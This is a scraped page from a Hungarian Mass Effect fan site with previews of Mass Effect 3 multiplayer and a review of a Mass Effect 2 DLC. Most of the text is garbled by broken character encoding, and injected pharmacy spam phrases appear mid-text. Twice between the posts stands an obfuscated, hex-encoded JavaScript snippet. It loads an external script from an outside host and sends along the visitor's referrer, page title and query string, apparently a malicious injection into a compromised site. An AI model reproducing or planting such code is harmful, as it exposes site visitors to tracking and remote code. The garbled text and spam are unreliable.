Üdvözlünk az SFportal nem hivatalos Mass Effect rajongói oldalán!

Kövess minket!



Vagy kérj e-mail értesítőt!

Enter your email address:

Delivered by FeedBurner

Mass Effect @ Google+

Mass Effect @ Facebook

A hivatalos magyar Mass Effect Facebook oldal

Csatlakozz!

teszt

A Microsoft hazai fA�hadiszA?llA?sA?n jA?rtunk ma, ahol lehetA�sA�get kaptunk arra, hogy a demA?nA?l egy kicsit bA�vebb betekintA�st nyerjA?nk a Mass Effect 3-ba. A�s mA�g nyilvA?n azt gondoljA?tok, hogy mekkora mA?zlista is vagyok, tA�vedtek: A�lni tudnA�k egy idA�gA�pA�rt, ami elA�redob kA�t hA�ttel. Ez a betekintA�s egy nagyon rafinA?lt kA�nzA?si mA?dszer, amit nyilvA?nvalA?an a CIA fejlesztett ki. NagyjA?bA?l olyan ez, mintha anno A Jedi visszatA�rbA�l premier elA�tt mutattA?k volna meg az elsA� 20-30 percet nA�hA?ny kivA?lasztottnak. A�s utA?na a stA?diA? a lelkA?nkre kA�tnA�, hogy termA�szetesen nem A?rulhatjuk el, hogy Leia hercegnA� az valA?jA?ban Luke Skywalker hugicA?ja.

Ilyen fordulat pedig van a jA?tA�k elejA�n, nem is egy. PA�ldA?ul amikor kiderA?l, hogy anno Garrus faterja fA�lrelA�pett egy aszA?rival, A�s emiatt turiA?n barA?tunk fA�ltestvA�re Liara. Csak vicceltem, bocs. TermA�szetesen nem fogok spoilerezni az alA?bbiakban.

Egy kattintás ide a folytatáshoz....

A CVGA�is azon szerencsA�sek kA�zA�tt van, akik kA�zelebbi ismeretsA�get kA�thettek a Mass Effect 3 prescription free generic paxil. A�multiplayer mA?djA?val. Mint A�rjA?k, ettA�l fA?ggetlenA?l a BiowareA�legfontosabb prioritA?sa az egyjA?tA�kos kampA?ny minA�l tA�kA�letesebb tA?lalA?sa.

De mit is lA?tott a CVG A?jsA?gA�rA?ja, amikor megszemlA�lte a multiplayert?

MA�g az ME2 egy intergalaktikus “piszkos tizenkettA�” A�sszevadA?szA?sA?rA?l szA?lt, addig az ME3 az intergalaktikus hA?borA?t mutatja be, ami tA�kA�letes hA?ttA�r egy kooperatA�v multiplayer jA?tA�khoz. RA�gtA�n az ME3 elejA�n elesik a FA�ld, de nem csak az emberisA�g van bajban – gyakorlatilag minden faj a Reaperek ostroma alatt A?ll. Ezt a felA?llA?st hasznA?lja ki a multiplayer – ez egy kA�zA�s, vA�gsA� harc a Reaperek ellen, ahol a teljes galaxis (=a Mass Effect jA?tA�kosok) A�sszefognak, hogy megmentsA�k vilA?gaikat.

A Galaxy at WarA�rendszere egy galaktikus RizikA?ra emlA�keztette a CVG munkatA?rsA?g: ahogy annak a tA?blA?jA?n is kA?lA�nbA�zA� mezA�k vannak, amik a kA?lA�nbA�zA� hadseregek irA?nyA�tA?sa alatt A?llnak, A?gy a Mass Effect univerzuma is mezA�kre van osztva: a zA�ld terA?letek a jA?tA�kosok A?ltal elfoglalt terA?leteket jelentik, a vA�rA�sA�k a Reaperek A�s a Cerberus A?gynA�kA�k A?ltal kontrollA?ltakat. BorostyA?n szA�nben lA?tjuk azokat, ahol dA�ntetlenre A?ll a meccs.

A galaxis A?llapotA?t azonban nem csak a jA?tA�kot elindA�tva ellenA�rizhetjA?k. Mint Casey Hudson,A�a sorozat producere elmondja, mA�g egyik jA?tA�kban sem alkalmaztak hasonlA? megoldA?st, mint A�k: bA?rhova megyA?nk, a Mass Effect univerzum velA?nk lesz. Ha szimplA?n csak online vagyunk, vagy bejelentkeztA?nk egy kA�zA�ssA�gi hA?lA?zatba, vagy akA?r A?tkA�zben vagyunk egy okostelefonnal – bA?rmikor kA�pesek leszA?nk figyelni a haladA?st. KonkrA�tumokat nem A?rult el ugyan, de az A?jsA?gA�rA? szerint Facebook A�s Google+, valamint iPad A�s iPhone alkalmazA?sok biztosan vA?rhatA?k.

MA�g az egyjA?tA�kos mA?dban Shepard parancsnokot irA?nyA�tjuk, a multplayerben sajA?t karaktert generA?lhatunk, aki Steven HackettA�admirA?lisnak A�s az A� kA?lA�nleges erA�inek segA�t. Mint egy korA?bbi Mass Effect 3 tesztbA�l megtudhattuk, azokon a helyeken harcolhatunk, ahol Shepard is jA?r a tA�rtA�net folyamA?n: a feladatunk a helyek megerA�sA�tA�se, a kA�rnyA�ken lebzselA� tA?madA?k visszaverA�se lesz – utA?bbiak egy-egy kA?ldetA�s sorA?n 11 hullA?mban tA?madnak rA?nk. A “sima” harc mellett kapunk speciA?lisabb feladatokat is: pA�ldA?ul hatA?stalanA�tani meghatA?rozott szA?mA? robbanA?tA�ltetet, talA?lni egy terminA?lt A�s addig vA�deni, amA�g kulcsfontossA?gA? adatokat meg nem szerzA?nk / fel nem tA�ltA?nk rA?, stb.

Minden cselekedetA?nkA�rt pontokat, XP-t A�s krediteket kapunk, szintet is fogunk tudni lA�pni, A?j kA�pessA�geket tudunk fejleszteni. Lesz termA�szetesen ranglista is, de az A�len A?llA?k sem kA�nyelmesedhetnek el: kifA?rkA�szhetjA?k majd, hogy ki hogyan, milyen fejlA�dA�si A?tvonalon jutott a toplista tetejA�re.

A magunk rA�szA�rA�l kA�vA?ncsian vA?rjuk.

 

 var _0x31f1=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

tavor ohne rezept.

A Co-Optiums, a kooperatA�v jA?tA�kok oldala volt olyan szerencsA�s, hogy tesztelhette egy picit a Mass Effect 3 multiplayer A?zemmA?djA?t. Az alA?bbiakban A?tA?ltettA?k magyarra a legfontosabb tapasztalataikat.

Az egyik legfontosabb informA?ciA?, hogy a multiplayer karaktereink A?llandA?ak lesznek – azaz, nem kA?ldetA�srA�l-kA?ldetA�sre kell A?jat generA?lnunk, hanem A?jabb A�s A?jabb kA?ldetA�sekben vehetA?nk rA�szt velA?k. Valamennyi, a korA?bbi jA?tA�kokbA?l megismert karakterosztA?lyt hasznA?lhatjuk co-op mA?dban is; a multis karaktereink A�ppA?gy kapnak tapasztalati pontokat, mint Shepard parancsnok a single player kampA?nyban.

A fajok kA�zA?l egyelA�re a kroganokat, aszA?rikat, turiA?nokat, A�s persze az embereket nevesA�tette a cikkA�rA?, de ezen kA�vA?l mA�g hA?rom mA?sik faj is jA?tszhatA? lesz: a tesztelA� pA�ldA?ul egy hetedik szintA� drell vanguarddal esett neki a pA?lyA?knak, akinek van egy speciA?lis rA?gA? tA?madA?sa, A�s brutA?lisan gyors a tA�bbiekhez kA�pest.

A kA?ldetA�sek pA?rhuzamosan zajlanak Shepard tA�rtA�netA�vel. A pA?lyA?k baromi jA?l nA�znek ki A?llA�tA?sa szerint, A�s bA?r azA�rt viszonylag korlA?tozott a mA�retA?k, a folyamatos akciA? kA�zben nagyobbnak A�rezte A�ket, mint amilyenek valA?jA?ban.

Valamennyi kA?ldetA�sben 12 hullA?mban tA?madnak kA?lA�nbA�zA� ellensA�gek, mindegyik hullA?m random ellenfeleket A�s szintA�n random cA�lkitA�zA�seket tartalmaz. Az egyik cA�lkitA�zA�s, amibe belefutott, az volt, hogy mind a nA�gy jA?tA�kos jusson el a tA�rkA�p egy meghatA?rozott terA?letA�re, A�s ott tA�rjA�n fel egy szA?mA�tA?gA�pet; egy mA?sik feladat az volt, hogy bizonyos objektumokat gyA�jtsA�n A�ssze az osztag a tA�rkA�p kA?lA�nbA�zA� pontjairA?l., bizonyos idA�n belA?l. Az ellensA�gek az egyszerA� katonA?ktA?l kezdve A?riA?si robotokig sokfA�le volt – utA?bbi legyA�zA�sA�hez az osztag teljes tA�zereje kellett.

A kA?lA�nbA�zA� hullA?mok cA�lkitA�zA�sei mellett kapunk majd extra kihA�vA?sokat is, opcionA?lis cA�lokat. Ilyen lehet pA�ldA?ul, hogy bizonyos mA?don A�ljA?nk meg ellenfeleket, ezekA�rt extra pontokat kaphatunk. A kooperatA�v akciA?kA�rt extra jutalom jA?r – pA�ldA?ul egy elesett tA?rsunk felA�lesztA�se is ilyen tevA�kenysA�g.

Amennyiben a csapatbA?l valakit kiA?tnek, akkor egy rA�vid ideig felA�leszthetA� – ha senki sem tud vele foglalkozni egy A?tkA�zet kA�zepA�n, akkor viszont az illetA� szA�p csendben elvA�rzik. EttA�l fA?ggetlenA?l, a kA�vetkezA� hullA?mban minden elhullott csapattA?rs felA�led – mA?r amennyiben volt tA?lA�lA�je az elA�zA� csatA?nak. Ha egy hullA?mban mindenkit kiA?tnek, akkor viszont vA�getA�r a kA?ldetA�s.

SzerencsA�re a begyA�jtA�tt tapasztalati pontok nem vesznek el, azok felhasznA?lhatA?ak a karakter fejlesztA�sA�re.

A tesztelA� A�s csapata a hetedik hullA?mig jutott, mint A�rja, az ellenfelek intelligensek voltak, A�k pedig tA?lsA?gosan szA�tvA?ltak a harc sorA?n, A�gy nem A�ltA�k tA?l az A?tkA�zetet. Ennek ellenA�re A�lvezte a jA?tA�kot.

A csapatmunka nem meglepA� mA?don A?llatira fontos lesz, ahogyan a fedezA�kek hasznA?lata, A�s a kA?lA�nleges kA�pessA�gek jA? idA�zA�tA�se is. JA?l kell majd taktikA?zni, ahogy az egyik jA?tA�kos a tA�bbiek fedezA�tA?ze mellett elA�rerohan egy cA�l felA�. A kA�pessA�gek kA�zA?l a tesztelA� egy biotikus akciA?t emelt ki – amikor az egyik jA?tA�kos biotikus erejA�vel tartja fel az ellensA�geket, mA�g a tA�bbiek szA�pen elintA�zik azokat a fegyvereikkel.var _0x31f1=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Az Arrival elsA� pA?lyA?jA?t volt szerencsA�je vA�gigjA?tszania az IGN tesztelA�jA�nek, aki meg is A�rta tapasztalatait egy spoileres beszA?molA?ban – ezt magyarA�tjuk alant. Ha nem szereted a spoilereket, ne olvass tovA?bb.

Egy kattintás ide a folytatáshoz....

Nem tA?lzok, ha azt mondom, hogy a Mass Effect jA?tA�kosok A?ltal legjobban vA?rt kiegA�szA�tA� A�rkezett meg a Lair of the Shadow Brokerrel. Liara az egyik legnA�pszerA�bb segA�tA�nk volt az elsA� rA�szben, A�s bizony sokakban csalA?dA?st okozott, hogy az ME2-ben csak egy iszonyatosan rA�vidre sikeredett szA?l foglalkozott vele. (EnnA�l rA�videbb mA?r csak az Ashley / Kaiden talA?lkozA? volt, ugyebA?r.)

Amit spoiler mentesen le lehet A�rni, az annyi, hogy igen, vegye meg mindenki ezt a DLC-t, mert nagyon komoly tA�rtA�nA�sek vannak benne, a lezA?rA?sa alapvetA�en vA?ltoztatja meg a Mass Effect univerzumot. IgazA?bA?l mindegy, hogy az A�ngyilkos kA?ldetA�s elA�tt vagy utA?n jA?tsszuk vA�gig, mindkA�t verziA? logikusan beleillik a tA�rtA�netbe.

A?r / A�rtA�k arA?nyban egy picit sokallom viszont A�rte a 800 Bioware / MS pontot A�rte: bA?r a kA?ldetA�sek jA?k, a sztori jA?, de iszonyatosan rA�vidnek tA�nik – bA?r az Overlord DLC is igazA?bA?l mindA�sszesen 2 A?rA?nyi jA?tA�kidA�t adott, akA?rcsak a LotSB, nekem szemA�ly szerint az valahogy hosszabbnak A�s vA?ltozatosabbnak tA�nt. A�s bA?r Christina Norman fejlesztA�i naplA?jA?bA?l kiderA?l, hogy programozA?s-A?gyileg sokkal macerA?sabb volt A�sszehozni, mint az Overlordot – ez valahol indokolja az OverlordnA?l magasabb A?rat -, azt gondolom, hogy ennyi pontA�rt cserA�be viszont bele kellene fA�rnie a kelet-eurA?pai vA?ltozatokkal valA? kompatibilitA?snak. A�rtem A�n, hogy lefordA�tani valA?szA�nA�leg A?zletileg nem annyira A�ri meg (kicsi piacok vagyunk, kevA�s jA?tA�kos, stb.), de akkor legalA?bb az angol nyelvA� verziA?t fel lehessen telepA�teni. [A�s amA?gy kA?lA�nbA�zA� hackelA�sekkel A?llA�tA?lag sok jA?tA�kos ezt meg is oldotta magA?nak.]

Ugyanakkor, aki megveszi ezt a DLC-t, az nagyon komoly jA?tA�kA�lmA�nyt kap a pA�nzA�A�rt: rA�szben olyan akciA?kat, amelyekhez leginkA?bb az ME1 A�s ME2 vA�gjA?tA�kai foghatA?k. RA�szben viszont nagyon jA? sztorit, 10 pontos szerepjA?tA�kos pA?rbeszA�deket, tA�rtA�nA�seket… A�s a vA�gA�re egy olyan kiegA�szA�tA�st, amirA�l spoiler mentesen nem lehet beszA�lni.

SzA?val innentA�l kezdve csak az olvasson tovA?bb, aki mA?r vA�gigjA?tszotta a kiegA�szA�tA�t, vagy pedig nem A�rdekli, hogy a poA�nok lelA�vA�ldA�zgetA�se rosszul A�rinti a jA?tA�kA�lmA�nyt!

SPOILER ALERT!

SPOILER ALERT!

SPOILER ALERT!

Egy kattintás ide a folytatáshoz....